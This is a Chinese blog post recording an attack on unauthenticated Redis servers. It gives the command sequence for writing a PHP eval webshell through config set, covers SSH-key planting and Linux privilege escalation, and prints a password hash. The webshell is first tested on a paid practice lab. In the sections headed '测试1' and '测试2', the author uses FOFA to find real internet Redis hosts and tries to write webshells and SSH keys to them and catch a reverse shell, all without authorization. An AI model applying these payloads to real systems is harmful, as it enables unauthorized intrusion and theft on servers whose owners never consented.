Redis未授权访问和Linux提权


关键词

  默认部署在6379端口。
  默认暴露在公网,默认免密登陆。
  数据泄露。写入木马Getshell。直接以root身份登陆SSH接管服务器。


简要介绍Redis

  Redis的全称是REmote DIctionary Server,即远程,是Salvatore Sanfilippo写的日志型、key-value存储系统,是跨平台的非关系型数据据库,提供众多语言的API。
  是使用Ansi C语言编写的开源键值对存储数据库,通常被称为数据结构服务器,因为value可以是String、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。

Redis常用命令
redis操作命令
查看信息info
删除所有数据库内容flushall
刷新数据库flushdb
查看所有键keys *,
查看键值数据select num
设置变量set aaa “mi1k7ea”
查看变量值get aaa
查看备份文件路径config get dir
设置备份文件路径config set dir dirpath
查看备份文件名config get dbfilename
设置备份文件名config set dbfilename filename
保存备份文件save

漏洞概述

  Redis服务默认绑定在0.0.0.0:6379端口、暴露在公网、没有密码认证(一般为空)。
如果没有对Redis服务进行相关修改,默认设置会导致任意用户免密远程登录Redis,并能够读取其中的数据。

  
  存在Redis未授权访问漏洞时,攻击者能够访问Redis数据甚至执行flushall清空数据。
与此同时,攻击者能够利用Redis提供的config命令向服务器写入木马文件Getshell。
  再严重一点,如果Redis进程以root身份运行,攻击者能够给root账户写入SSH公钥文件,直接通过SSH远程登陆受害服务器。


准备测试环境

  1. 准备服务端:纯手工搭建能搭一天,刚吃过饭docker搭建也不太想动。打开墨者靶场,搜索redis在“数据库安全”模块有靶场:“Redis配置错误导致的远程代码漏洞溯源”。

  忍痛支付5墨币,访问靶场给出的端口,一个是浏览器可访问,一个浏览器不可访问。
浏览器可访问端口是Web服务,用于执行利用木马,另一个端口是redis,用于远程连接执行redis命令写入木马:
在这里插入图片描述  2. 准备客户端:
访问官网下载地址http://download.redis.io/releases/,目前最新版本是redis-6.2.1.tar.gz,
下载6.0.1版本,可以官网下载也可以通过命令行下载:

  Kali下载到当前目录:wget http://download.redis.io/releases/redis-6.0.1.tar.gz
解压安装包:tar xzf redis-6.0.1.tar.gz
进入redis目录:cd redis-6.0.1
执行编译命令:make
添加环境变量:cd redis/src/,复制redis-cli到/usr/bin目录:cp redis-cli /usr/bin
  
  如果要配置服务端,把redis-server复制到/usr/bin/目录下,
将redis.conf拷贝到/etc/目录下,启动redis服务:redis-server /etc/redis.conf

在这里插入图片描述


模拟测试

redis写入木马并连接(√)

  条件:服务器开启Web服务,且知道Web服务的绝对路径。

  连接服务端命令:redis-cli -h 服务端ip地址 -p 服务端redis端口
config set dir /var/www/html(Ubuntu + Apache的默认Web路径)
config set dbfilename shell.php
set x “<?php @eval($_POST[shell]);?>”
save
  访问写入的木马文件,POST传递参数shell=phpinfo();,效果如图。蚁剑连接,编辑key.php得到flag

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


Linux环境www-data提权(Nope)

  蚁剑连接服务器,输入id查看用户信息,低权限用户www-data,如图。

  查看发行版:cat /etc/issue。cat /etc/*-release
  内核版本:uname -a
发行版本号14.04.3,ubuntu一般每半年会推出出一个版本。内核4.15.0-46-generic。

uname系统信息–kernel-name–kernel-release–hardware-platform操作系统
-Linux4.15.0-46-genericx86_64GNU/Linux

在这里插入图片描述
在这里插入图片描述

内核提权

  大多内核漏洞通过内核版本能很快查到。

  靶机内核4.15.0-46-generic,发行版本号14.04.3访问漏洞库,访问漏洞库https://www.exploit-db.com/查找相应的exp进行提权。

  搜索框输入“4.15.0-46-generic”,返回结果为空。
搜索“Ubuntu 14.04”,找到17条记录;搜索"Ubuntu 14.04.3",找到1条记录

perf_event_open()与execve()系统调用函数竞争,导致 /etc/shadow泄露

  这个漏洞没有CVE编号。
Exploit-db记录原文:Linux Kernel (Ubuntu 14.04.3) - ‘perf_event_open()’ Can Race with execve() (Access /etc/shadow)

  perf_event_open()函数的条件竞争,允许本地攻击者从setuid程序泄漏敏感数据。
Exploit-db详情原文:A race condition in perf_event_open() allows local attackers to leak sensitive data from setuid programs.

  漏洞危害:/etc/shadow泄露。Kali虚拟机使用root查看/etc/shadow,
管理员账户的口令密文如下,还有salt,破解暂时没戏,怪不得在国内基本找不到该内核漏洞的分析文章。

$6$MPAryiaZoi8GGqlM$SV6TRgBVKrVhJoIlaEFWfZ7zKTZceFLJWqwdZe9Vk/4X2Yt2LE4iTGoEpYV/vVB2yyZHTALmDSlUwCdXgnL4R0

  /etc/shadow中{加密后的口令密码}的格式为 $id$salt$encrypted
id为1时,采用md5算法加密
id为5时,采用SHA256算法加密
id为6时,采用SHA512算法加密
salt为盐值,是对密码进行hash的一个干扰值
encrypted为散列值
  Secure Hash Algorithm安全散列算法,王小云院士成功破解了MD5和SHA-1系列密码,至于Sha256属于SHA-2系列算法,目前SHA2以及SHA3尚未被证实可以破解,至少目前来说SHA256仍然是最安全的算法之一。


Searchsploit软件

  Searchsploit是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
  用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码,搜索记录看起来比直接在exploit-db仓库里搜索到的记录要多。

  注意关键词的顺序
searchsploit ubuntu 14.04.3,返回3条记录
searchsploit 14.04.3 ubuntu,返回2条记录
  定位漏洞详情文档locate linux/local/41760.txt,看不动了,Linux提权先从靶机开始吧。

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

计划任务

  命令ls -l /etc/cron*

  系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。

  默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。


写入密钥,SSH远程登录(Nope)

  如果redis以root身份运行,就可以写入攻击者的密钥,从而通过SSH登陆目标服务器。

  墨者的Redis靶场只是www-data权限,暂时没能提权到root,考虑到实战中Linux严格的权限管控,暂时不复现SSH远程登陆部分。



测试1

  残废站点,注册和登陆按钮点击后没有反应,联系方式都没有。

  执行命令redis-cli -h ip -p port,连接目标服务器Redis服务。

  1.目标使用Nginx服务,寻找Web路径进行写文件。

  (error) ERR Changing directory: No such file or directory
/var/www/html,Apache的默认根目录肯定找不到
/usr/share/nginx/html/,Nginx的站点默认根目录
/home/wwwroot/
/wwwroot
/usr/share/nginx

  2.猜不到Web绝对路径,尝试写入ssh公钥,

  3. 尝试反弹shell,服务器监听nc -lnvp 9999,没有等到回连。

  再连接redis服务,执行config就会报错并断开连接。
报错内容:“Error: Connection reset by peer”

在这里插入图片描述

在这里插入图片描述


测试2

  发布时间2015-11-12,CNNVD-ID CNNVD-201511-230

  使用FOFA搜索漏洞,ip_ports=“80,6379”,前5页基本没有可用的。

  使用redis在Web站点写入木马
config set dir /var/www/html(Ubuntu + Apache的默认Web路径)
config set dbfilename shell.php
set x “<?php @eval($_POST[shell]);?>”
save

  高级搜索:port=“6379” && protocol==“redis” && country=“CN”
显示“-NOAUTH Authentication required.”不用看。
网站绝对路径三板斧/var/www/html,/wwwroot,/usr/share/nginx/html
  高级搜索的前5页内容,出于根目录猜解的不足,没有成功getshell。

  高级搜索发现很多redis漏洞,但也有很多错误
连接之后执行命令报错:(error) NOAUTH Authentication required.
有的服务器执行命令报错“Error: Protocol error, got “U” as reply type byte”
有的服务器执行命令报错“Error: Protocol error, got “H” as reply type byte”
有的服务器执行命令报错Error: Protocol error, got “2” as reply type byte
执行命令报错Error: Connection reset by peer
(error) ERR Changing directory: Permission denied。说明redis并不是以root启动的

在这里插入图片描述


反思

经验教训

  好笑:临时兴起,想在墨者的Linux环境下从www-data提权到root。

  收获:加深使用exploit-db仓库的印象,接触Searchsploit软件,学到一些Linux系统知识,加深Linux提权的印象。

  教训:先走靶场,再走实战,拔苗助长不可取。


书单

  某宝搜索、查看MS08067书单,最初没有找到提权相关书籍。
可喜的是,在某东搜索到《网络攻防实战研究 漏洞利用与提权》书籍,翻翻目录,看上去是想要的书籍。

书名发布日期作者
《网络攻防实战研究 漏洞利用与提权》2018年3月祝烈煌、张子剑

参考

  《Redis 教程 》,地址https://www.runoob.com/redis/redis-tutorial.html

  《Redis未授权漏洞》,2020-09,一文到站,介绍和细节方面都很厉害
https://blog.csdn.net/tomyyyyyy/article/details/115403432?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-0&spm=1001.2101.3001.4242

  《/etc/shadow文件破解,密码破解,md5,SHA256,SHA512破解》
https://blog.csdn.net/NetRookieX/article/details/96431981

  《叶胜超:一分钟了解SHA算法》,2019-11
https://tieba.baidu.com/p/6349328934?red_tag=2635678928

  《SearchSploit漏洞查找工具使用指南》,2017-09
https://www.freebuf.com/sectool/146106.html

  《Linux提权:从入门到放弃-freebuf》,2017-03
https://www.freebuf.com/articles/system/129549.html

  《Linux 提权-语雀》,2020-08
https://www.yuque.com/liyuan-pea35/oscp/qm7m54

  《nginx服务器的根目录在哪》
https://www.cnblogs.com/xiaogou/p/12049484.html

  《centos8 默认nginx路径_CentOS 8系统安装Nginx Web服务器及常见配置过程》,地址https://blog.csdn.net/weixin_33349121/article/details/112890088?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-1&spm=1001.2101.3001.4242

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值